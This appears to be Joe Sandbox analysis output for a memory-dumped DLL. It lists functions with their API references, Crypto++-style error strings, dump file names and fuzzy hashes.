Opcode Fuzzy Hash: f90c9fd14ceaced802335ecc633b73c03251a918473e0e23cffb62439f0717f4
Instruction Fuzzy Hash: 7D514E71F1D107C6C701AB16CA903AB7BB4DB41719F20CE58E4E552A98EB34C8A58F47

Function 6CF68560 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 6CF688ED

Part of subcall function 6CFBA116: __mbstowcs_s_l.LIBCMT ref: 6CFBA12C

__cftoe.LIBCMT ref: 6CF68911

Strings

zX, xrefs: 6CF6865E
P, xrefs: 6CF68841

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: __cftoe$__mbstowcs_s_l
String ID: zX$P
API String ID: 1494777130-2079734279
Opcode ID: a72546a8b8371549d9c13d63a9efbd05ec8c45f3eeb227a7301b027797be6f14
Instruction ID: b471921e068fbb5e40f6a9e283a8df490c9b65c39daedbcae7858353c7c7c60d
Opcode Fuzzy Hash: a72546a8b8371549d9c13d63a9efbd05ec8c45f3eeb227a7301b027797be6f14
Instruction Fuzzy Hash: 8F910FB11087819FC376CF15C880BEBBBE8BB88714F508A1DE19D4B290DB716605CF92

Function 6CF889D0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6CF88ABB
__CxxThrowException@8.LIBCMT ref: 6CF88B82

Strings

PK_DefaultDecryptionFilter: ciphertext too long, xrefs: 6CF88A8E
: invalid ciphertext, xrefs: 6CF88B48

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw
String ID: : invalid ciphertext$PK_DefaultDecryptionFilter: ciphertext too long
API String ID: 2005118841-483996327
Opcode ID: 631a5ac0abce64007ea80b8a2b02b95aa792b0fd3466da10f4c79d550eba41b6
Instruction ID: dad59b167842c099d89f5cc8017284e7acee9e085771a3bdb0faf6c5e1e9f1e0
Opcode Fuzzy Hash: 631a5ac0abce64007ea80b8a2b02b95aa792b0fd3466da10f4c79d550eba41b6
Instruction Fuzzy Hash: 28512BB5104740AFD324CF54D890EABB7F8EF99708F108A1DE59A97B50DB31E909CB62

Function 6CF86B00 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF86BA6

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF54067
Part of subcall function 6CF54010: _memmove.LIBCMT ref: 6CF540C8

__CxxThrowException@8.LIBCMT ref: 6CF86C56

Strings

RandomNumberGenerator: IncorporateEntropy not implemented, xrefs: 6CF86BE3
NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes, xrefs: 6CF86B33

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes$RandomNumberGenerator: IncorporateEntropy not implemented
API String ID: 1902190269-184618050
Opcode ID: b7009567057c936fd797d40255d0bf27f8d252cbbb6385af108b9c5c734b972c
Instruction ID: 4ef1f0c8e943931c0d956aed0c94d319bf5d6fd67a1cb71302526294ebeb3287
Opcode Fuzzy Hash: b7009567057c936fd797d40255d0bf27f8d252cbbb6385af108b9c5c734b972c
Instruction Fuzzy Hash: 715139B1618380AFC310DF29C880A5BFBF8BB99754F504A1DF5A593790D7B5E908CB52

Function 6CF54E80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF54EFC
std::_Xinvalid_argument.LIBCPMT ref: 6CF54F16
_memmove.LIBCMT ref: 6CF54F6C

Part of subcall function 6CF54D90: std::_Xinvalid_argument.LIBCPMT ref: 6CF54DA9
Part of subcall function 6CF54D90: std::_Xinvalid_argument.LIBCPMT ref: 6CF54DCA
Part of subcall function 6CF54D90: std::_Xinvalid_argument.LIBCPMT ref: 6CF54DE5
Part of subcall function 6CF54D90: _memmove.LIBCMT ref: 6CF54E4D

Strings

string too long, xrefs: 6CF54EF7, 6CF54F11

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 95f39db1d6f947b4ed8ade9dced14b472297454229b0848cc2928f59a4094e83
Instruction ID: a67e41783e292cb69c7e60e6527b11026a3d54ac4eabb91007b57fc4bf11727a
Opcode Fuzzy Hash: 95f39db1d6f947b4ed8ade9dced14b472297454229b0848cc2928f59a4094e83
Instruction Fuzzy Hash: 5831E9323106105BD3259E5DE8809AEFBE9EFF17247A0892FE655CBE40C772987483A1

Function 6CF52090 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF5211F

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF54067
Part of subcall function 6CF54010: _memmove.LIBCMT ref: 6CF540C8

__CxxThrowException@8.LIBCMT ref: 6CF521BF

Strings

PK_MessageAccumulator: DigestSize() should not be called, xrefs: 6CF520BD
PK_MessageAccumulator: TruncatedFinal() should not be called, xrefs: 6CF5215D

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: PK_MessageAccumulator: DigestSize() should not be called$PK_MessageAccumulator: TruncatedFinal() should not be called
API String ID: 1902190269-1268710280
Opcode ID: f3cfee293ce366abbf1b7eb1124f2c6fac4195cfd1aa3f367cb8a9ad39e94288
Instruction ID: 7f8ef5cb3325d0e8a4f2587e6e8831cc9a6c9286a2ff14127f4ad0baba34775b
Opcode Fuzzy Hash: f3cfee293ce366abbf1b7eb1124f2c6fac4195cfd1aa3f367cb8a9ad39e94288
Instruction Fuzzy Hash: 31413CB0C0428CEFDB11DFE9D880ADDFFB8AB19314F548659E421A7B90DB756A08CB50

Function 6CF51D30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF51DC9

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF54067
Part of subcall function 6CF54010: _memmove.LIBCMT ref: 6CF540C8

__CxxThrowException@8.LIBCMT ref: 6CF51E74

Strings

CryptoMaterial: this object contains invalid values, xrefs: 6CF51E16
BufferedTransformation: this object is not attachable, xrefs: 6CF51D67

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: BufferedTransformation: this object is not attachable$CryptoMaterial: this object contains invalid values
API String ID: 1902190269-3853263434
Opcode ID: 6f6a0035356704ebe809cceaf3ea1c446502d4ad96bb9eb92850cae4fffef843
Instruction ID: 008e532c322550828424186aa1c96c132574f89184b25eefc24d3febe6c04901
Opcode Fuzzy Hash: 6f6a0035356704ebe809cceaf3ea1c446502d4ad96bb9eb92850cae4fffef843
Instruction Fuzzy Hash: 68412EB1C04248AFCB14DFE9D880BDEFBB8EB19314F548659E42567750DB756A08CB50

Function 6CF874C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 6CFAD820: _memmove.LIBCMT ref: 6CFAD930

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF8761A

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Strings

byte digest to , xrefs: 6CF87565
bytes, xrefs: 6CF87594
HashTransformation: can't truncate a , xrefs: 6CF87552

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argument_memmovestd::_
String ID: byte digest to $ bytes$HashTransformation: can't truncate a
API String ID: 39012651-1139078987
Opcode ID: ea7250bab6fd36ef2c8bf0b1ddeed84bfd792ac42ac7a2b2ab0805c60237f767
Instruction ID: e9c379d28d7075b9b460b2d5d274df4a3bbc56b0f91857d52c91a9bf8601f7c1
Opcode Fuzzy Hash: ea7250bab6fd36ef2c8bf0b1ddeed84bfd792ac42ac7a2b2ab0805c60237f767
Instruction Fuzzy Hash: E54182711083C0AFD334CB64C844FDBBBE8AB99314F144A1DF69997780EB75A5088BA7

Function 6CF8BEF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF8BF2D

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

Strings

vector<T> too long, xrefs: 6CF8BF28
gfff, xrefs: 6CF8BF37
gfff, xrefs: 6CF8BF80

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$vector<T> too long
API String ID: 1823113695-3369487235
Opcode ID: 8ff9db9ee66822eb121a843c66370f9d1622f51562b7e5750cbd7b0962f6ebe5
Instruction ID: f16935d27f52d717b65b2c0d2d03c127d0f8d6872b5450c8eae340447e5eed81
Opcode Fuzzy Hash: 8ff9db9ee66822eb121a843c66370f9d1622f51562b7e5750cbd7b0962f6ebe5
Instruction Fuzzy Hash: 5D31B6B1A046099FC718CF59DC80E6AF7B9EB48304F148A2DE9599B780DB31B9048B91

Function 6CFB8E40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(CA0C7769,CA0C7769), ref: 6CFB8E7F
GetLastError.KERNEL32(0000000A), ref: 6CFB8E8F

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CFB8F14

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Strings

Timer: QueryPerformanceFrequency failed with error , xrefs: 6CFB8EA5

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ErrorExceptionException@8FrequencyLastPerformanceQueryRaiseThrowXinvalid_argumentstd::_
String ID: Timer: QueryPerformanceFrequency failed with error
API String ID: 2175244869-348333943
Opcode ID: 8dfca13be84f6da8ed0f8d6ab8b4742e9e4c03a089de0e445cfb47b1f465abd8
Instruction ID: c5876da6345d5c5e7a11b3005f477acef5712668e0ffaac68d89d283996ae473
Opcode Fuzzy Hash: 8dfca13be84f6da8ed0f8d6ab8b4742e9e4c03a089de0e445cfb47b1f465abd8
Instruction Fuzzy Hash: 4F213DB15083809FD310DF24C840B9BBBE8FB89614F504A1DF5A992641DB7595088BA3

Function 6CFB8F40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(CA0C7769,CA0C7769,?,00000000), ref: 6CFB8F7F
GetLastError.KERNEL32(0000000A,?,00000000), ref: 6CFB8F8F

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CFB9014

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Strings

Timer: QueryPerformanceCounter failed with error , xrefs: 6CFB8FA5

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CounterErrorExceptionException@8LastPerformanceQueryRaiseThrowXinvalid_argumentstd::_
String ID: Timer: QueryPerformanceCounter failed with error
API String ID: 1823523280-4075696077
Opcode ID: e8354bc74958f57c8ea2ea6e0d067d95c0b961b71bb1321ef7748afc216310c5
Instruction ID: 0de18a7834938b04325ab3eee92313d19c22de1bb553570a32e433fd15e773f3
Opcode Fuzzy Hash: e8354bc74958f57c8ea2ea6e0d067d95c0b961b71bb1321ef7748afc216310c5
Instruction Fuzzy Hash: CD214FB1508380AFD310CF24C880B9BBBF8FB89614F504E1DF5A593781DB7595088BA3

Function 6CF86480 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6CF86518

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

__CxxThrowException@8.LIBCMT ref: 6CF86558

Strings

Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 6CF86527
Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 6CF864E7

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.
API String ID: 3476068407-3345525433
Opcode ID: 129770a32d80f47e4b549de9f1a6652693c06fe6e3acea2ebb48b315b037a5c5
Instruction ID: 50d9d7f69710fff62be78fb0bcb2c03b2d2b43ac9f85e165c77fd482e8442b3b
Opcode Fuzzy Hash: 129770a32d80f47e4b549de9f1a6652693c06fe6e3acea2ebb48b315b037a5c5
Instruction Fuzzy Hash: 0A21C3715283809FC724DF64C844FDBB3F8AB49608F404A1DF69592A84EF76E4088A63

Function 6CF8C120 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF8C14E

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

Strings

gfff, xrefs: 6CF8C15A
vector<T> too long, xrefs: 6CF8C149
gfff, xrefs: 6CF8C129

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$vector<T> too long
API String ID: 1823113695-3369487235
Opcode ID: 5e7c2b702bf7d0545ab458430f90714736b363a5da14070f5d4496a174bf85ec
Instruction ID: 5dfdc350d324584dc1270aec15cccb0b57897ed493805e2e3a28bfe53dd51e92
Opcode Fuzzy Hash: 5e7c2b702bf7d0545ab458430f90714736b363a5da14070f5d4496a174bf85ec
Instruction Fuzzy Hash: FC01D673F050251F8310993FFD4444AE6A79BD4395319CB36D608DB758D531DC0253D2

Function 6CF925D0 Relevance: 6.2, APIs: 4, Instructions: 206COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6CF92677
_memmove.LIBCMT ref: 6CF926E6
_memmove.LIBCMT ref: 6CF92746
__CxxThrowException@8.LIBCMT ref: 6CF927CD

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

